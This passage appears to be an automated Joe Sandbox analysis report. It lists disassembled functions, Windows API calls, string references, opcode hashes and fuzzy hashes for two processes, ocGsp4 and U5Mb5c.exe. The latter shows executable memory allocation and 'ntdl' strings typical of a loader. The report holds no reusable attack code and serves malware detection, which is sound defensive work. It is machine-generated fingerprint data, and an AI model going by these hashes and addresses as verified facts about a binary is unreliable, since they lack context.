SetProcessWorkingSetSize.KERNEL32 ref: 0000000140002731

Strings

Shrinking process size, xrefs: 000000014000270E

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Process$CurrentSizeWorking
String ID: Shrinking process size
API String ID: 2122760700-652428428
Opcode ID: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction ID: de407452bcc55573093b25e37d4a5c8190b9a80636e05c4b95c6e58ff86151e7
Opcode Fuzzy Hash: 928bd44cec0a58dd036a38053952d90c466f8539e57cdcef56d3cedc878990dc
Instruction Fuzzy Hash: 74E0C9B4601A4191EA029F57A8A03D41260A74CBF0F815721AA290B2F0CE3985858310

Function 00000001400030B0 Relevance: 6.3, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400030E7
LeaveCriticalSection.KERNEL32 ref: 000000014000316B
EnterCriticalSection.KERNEL32 ref: 0000000140003195
EnterCriticalSection.KERNEL32 ref: 00000001400031C6
LeaveCriticalSection.KERNEL32 ref: 00000001400031DD

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction ID: acd2e58e1a3fd81a861280768b65888603737fa84cc19007189881c9ae716cb0
Opcode Fuzzy Hash: 5d43bde81a4cf71b6d13cac54dc418821bc3305084b6f84d33dc9cdc1ff96344
Instruction Fuzzy Hash: D331137A225A4082EB128F1AF8407D57364F79DBF5F480221FF6A4B7B4DB3AC8858744

Function 00007FFE1320E3F4 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FFE1320E473
WriteFile.KERNEL32 ref: 00007FFE1320E73B
WriteFile.KERNEL32 ref: 00007FFE1320E781
GetLastError.KERNEL32 ref: 00007FFE1320E837

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
Instruction ID: 2f4e42e3cda2d1260206cf9af723085cb5dd06dacd5d765ece9597380c2fb2ea
Opcode Fuzzy Hash: 0c7799b21e1c94aa1fd225f6b85a6c051f6d6fdfc663a61abe1d9cd11d154d48
Instruction Fuzzy Hash: 8FD1B132B18E818DE711DF76D4802EC37A1FBA47A8B144266DE5D67BA9DE38D44AC340

Function 00007FFE1320ED1C Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFE1320ED07), ref: 00007FFE1320EE38
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FFE1320ED07), ref: 00007FFE1320EEC3

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction ID: 11ef1a8bf586a0d393a0e2522c75b2153d25744cad5abcbaff528ce9f7beea23
Opcode Fuzzy Hash: 011e2ebe13567d8ad8ddad1d699b44402174a3121c3ef3043a650edb943c864e
Instruction Fuzzy Hash: 3D91F972F18E518DF750AF26944027D2BA4FBA4BA8F144179DE4E776A5CF38D48AC300

Function 0000000140004760 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004774
ResetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 0000000140004870
SetEvent.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000487D
LeaveCriticalSection.KERNEL32(?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 000000014000488A

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction ID: 8df361fa7c869b6ec715234f9c2df2ced8c6baf833446e4218a9444c3b5dacad
Opcode Fuzzy Hash: c0905a8df1c3b6d7d2917c1fcaa4435d9a1a27abfa891a899b8a9d6119ba031b
Instruction Fuzzy Hash: 0F31D1B5614F4881EB42CB57F8803D463A6B79CBD4F984516EB0E8B372EF3AC4958304

Function 0000000140004400 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014000441F
ResetEvent.KERNEL32 ref: 00000001400044CB
SetEvent.KERNEL32 ref: 00000001400044D5
LeaveCriticalSection.KERNEL32 ref: 00000001400044DF

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction ID: 80aeca48758360c6ba791d23c15ba34d7cc547f8c7a26c6fbcbbb07f4ec0a80e
Opcode Fuzzy Hash: 6e550663b123c7b4300ff756dd79b72a11867f34fdb7ecd18ec55ee4b4ab60ba
Instruction Fuzzy Hash: 6F3127B2220A8483D761DF27F48439AB3A0F798BD4F000116EB8A47BB5DF39E491C344

Function 00007FFE13202218 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE13202244
GetCurrentThreadId.KERNEL32 ref: 00007FFE13202252
GetCurrentProcessId.KERNEL32 ref: 00007FFE1320225E
QueryPerformanceCounter.KERNEL32 ref: 00007FFE1320226E

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction ID: 272c76aa9800d4ea19af2232f6f9c397ac0027fa92f9c923c2e78f4976068d7e
Opcode Fuzzy Hash: 540efdc4acb7237d38814a0210c5b4881e051432956c40de0382b68ade111df8
Instruction Fuzzy Hash: 57114C22B14F058EEB00EB61E8442B833A4F7A9768F441A31EA2D567A4DF38D158C340

Function 0000000140013670 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 000000014001367B
CreateEventW.KERNEL32 ref: 000000014001368D
CreateEventW.KERNEL32 ref: 00000001400136A7
CreateEventW.KERNEL32 ref: 00000001400136C0

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CreateEvent$CriticalInitializeSection
String ID:
API String ID: 926662266-0
Opcode ID: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction ID: 312f8d8d13b8a868d26f937b45fb8075aed367f1a83d8c92d196673213f535ba
Opcode Fuzzy Hash: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction Fuzzy Hash: 8F015A31610F0582E726DFA2B855BCA37E2F75D385F854529FA4A8B630EF3A8145C700

Function 00007FFE13205C00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFE13205C2A

Strings

csm, xrefs: 00007FFE13205DBE
csm, xrefs: 00007FFE13205C4F

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction ID: f1d2e2fd17941ae0aed92f12a68203b378344e8b2e1918b10fa97cf588ceabe8
Opcode Fuzzy Hash: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction Fuzzy Hash: B971A23290CA81CED760AF16948477D7BA0FB94BA4F248176DE8C27AA9CB3CD459C744

Function 00007FFE13206298 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFE13206342
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFE1320636B

Strings

csm, xrefs: 00007FFE1320646B

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction ID: 2e9e6dd85660fb2dc92949af328fe756a99b647852f2c460bc9243a0dd076ce6
Opcode Fuzzy Hash: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction Fuzzy Hash: 86514C36619B419AE630BF26E44026E77A4FB99BA0F100578EB8D17B65CF38E465CB00

Function 00007FFE1320EA8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FFE1320EBA3
GetLastError.KERNEL32 ref: 00007FFE1320EBC5

Strings

U, xrefs: 00007FFE1320EB4F

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction ID: 96d9921f371156dee5bc0b969e71a778a2e6af7f59015b0af30117a24051e558
Opcode Fuzzy Hash: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction Fuzzy Hash: F341C322B19E4189DB20EF66E4443AE67A0FBE87A4F404131EE4E977A4DF3CD445CB40

Function 0000000140012523 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 000000014001256D
RaiseException.KERNEL32 ref: 000000014001258A

Strings

csm, xrefs: 00000001400125BE

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: ExceptionRaise
String ID: csm
API String ID: 3997070919-1018135373
Opcode ID: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction ID: 49e9958dea4625aba6399e71a496f31833793ec74c7c4936f150dd50c3eb5df3
Opcode Fuzzy Hash: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction Fuzzy Hash: 1D315036204A8082D771CF16E09079EB365F78C7E4F544111EF9A077B5DB3AD892CB41

Function 00007FFE13210910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE13203A38: __except_validate_context_record.LIBVCRUNTIME ref: 00007FFE13203A63

__GSHandlerCheckCommon.LIBCMT ref: 00007FFE13210993

Strings

csm, xrefs: 00007FFE1321092B
f, xrefs: 00007FFE13210925

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: CheckCommonHandler__except_validate_context_record
String ID: csm$f
API String ID: 1543384424-629598281
Opcode ID: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction ID: 2511db9295f67cd2b0af936af4d2ceb962597c6b3c27032a0458c945649b6add
Opcode Fuzzy Hash: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction Fuzzy Hash: 3A11B432B14B8589E750AF23A54116E6764EB95FD4F08C075EF881BB66CE3CD851C700

Function 0000000140003620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003665
#4.VSELOG ref: 00000001400036AC

Strings

amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 000000014000368F

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-484248852
Opcode ID: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction ID: 814455377fd743a09d1ce94c7697c2570c7384a68551c8a3e3690f56dccab0e4
Opcode Fuzzy Hash: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction Fuzzy Hash: 25114975608B4082EB21CF16B84079AB7A4F79DBD4F544225FF8847B79DB39C5508B40

Function 00007FFE13203990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFE1320112F), ref: 00007FFE132039E0
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFE1320112F), ref: 00007FFE13203A21

Strings

csm, xrefs: 00007FFE13203A0E

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction ID: c9adcb3f117668cf4dcdf6fa09084068a340d43751dfd92c3e390705219793ff
Opcode Fuzzy Hash: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction Fuzzy Hash: CF115B32618F8586EB209B16E40026AB7E4FB98B94F584270EFCD17B69DF3CD555CB00

Function 00000001400036E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003725
#4.VSELOG ref: 0000000140003762

Strings

amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 0000000140003745

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-3336177065
Opcode ID: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction ID: 709d983207ec740d9f2c7308925ee729c80a4ac6442fb255827ec98b57545574
Opcode Fuzzy Hash: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction Fuzzy Hash: 731170B2614B8082D711CF16F480B9AB7A4F38CBE4F444216BF9C47B68CF78C5508B40

Function 00000001400137D0 Relevance: 5.0, APIs: 4, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400137EB
HeapFree.KERNEL32 ref: 00000001400137FD
GetProcessHeap.KERNEL32 ref: 0000000140013820
HeapFree.KERNEL32 ref: 0000000140013832

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction ID: 86a4b35954e85bb75ec39e114bccfc50e282ec3ca0152174d73c8df7cd9b4be4
Opcode Fuzzy Hash: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction Fuzzy Hash: ADF07FB4615B4481FB078FA7B84479422E5EB4DBC0F481028AB494B3B0DF7A80998710

Analysis Process: U5Mb5c.exePID: 2416, Parent PID: 7784COMMON

Executed Functions

Function 0433017F Relevance: 2.8, APIs: 2, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 043301DF

Memory Dump Source

Source File: 00000026.00000003.2442680886.0000000004330000.00000040.00001000.00020000.00000000.sdmp, Offset: 04330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_3_4330000_U5Mb5c.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction ID: 3b6bcf9151201f421521dabf03a23422f970c71ed7742e8b49f66f0f8a30b241
Opcode Fuzzy Hash: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction Fuzzy Hash: C4A14A70A00606EFDB18CFA9C880AAEB7B5FF48316F1491A9E415DB755E730EA51CF90

Function 0433044B Relevance: 2.6, APIs: 2, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0433048B
VirtualFree.KERNELBASE(?,?,00004000), ref: 043304F1

Memory Dump Source

Source File: 00000026.00000003.2442680886.0000000004330000.00000040.00001000.00020000.00000000.sdmp, Offset: 04330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_3_4330000_U5Mb5c.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 85e613f023628dd9a35c971c8f35ac366b6d7af4f068bcc7d0f9ba1c9b2aec73
Instruction ID: b7a9a42e410f57fd743a631705830e009526e6bed21540d4da7cebc413c06c8b
Opcode Fuzzy Hash: 85e613f023628dd9a35c971c8f35ac366b6d7af4f068bcc7d0f9ba1c9b2aec73
Instruction Fuzzy Hash: 7D212E75A00705BBD7249FA48C80FAFB7F8EF04315F214428FA5AE2686D631FA009B60

Non-executed Functions

Function 043300CD Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

l, xrefs: 04330149
ntdl, xrefs: 04330142

Memory Dump Source

Source File: 00000026.00000003.2442680886.0000000004330000.00000040.00001000.00020000.00000000.sdmp, Offset: 04330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_3_4330000_U5Mb5c.jbxd

Similarity

API ID:
String ID: l$ntdl
API String ID: 0-924918826
Opcode ID: 6c9c6db97d8771c7cf8e0db104e1040736491d6c0939765109556fa2b78a9631
Instruction ID: b5b799a314c9a726ac111e4e28c080fc378ab170a6c2e2edbde589fc88e787b9
Opcode Fuzzy Hash: 6c9c6db97d8771c7cf8e0db104e1040736491d6c0939765109556fa2b78a9631
Instruction Fuzzy Hash: 8311BFB5700A01AFDB19EF58C508A0EBBF6FF88715B218159E009D7714EB38EA218BD5

Function 04330643 Relevance: 2.6, Strings: 2, Instructions: 55COMMON

Download Yara Rule

Strings

ntdl, xrefs: 04330684
l, xrefs: 0433068E

Memory Dump Source

Source File: 00000026.00000003.2442680886.0000000004330000.00000040.00001000.00020000.00000000.sdmp, Offset: 04330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_3_4330000_U5Mb5c.jbxd

Similarity

API ID:
String ID: l$ntdl
API String ID: 0-924918826
Opcode ID: 0c2c30aec7a625bf31c8c356953fe1e8142b6a83dabfcff9fbbd6bac14ed309e
Instruction ID: 88f93b7e5631157abe806abf62845a84463fdf189988c5f06fe42bfb1d8914db
Opcode Fuzzy Hash: 0c2c30aec7a625bf31c8c356953fe1e8142b6a83dabfcff9fbbd6bac14ed309e
Instruction Fuzzy Hash: 61018471B00218AFEB14DF99C845DAEFBBDEF89655F044099F904A7364DA70EE008BA1

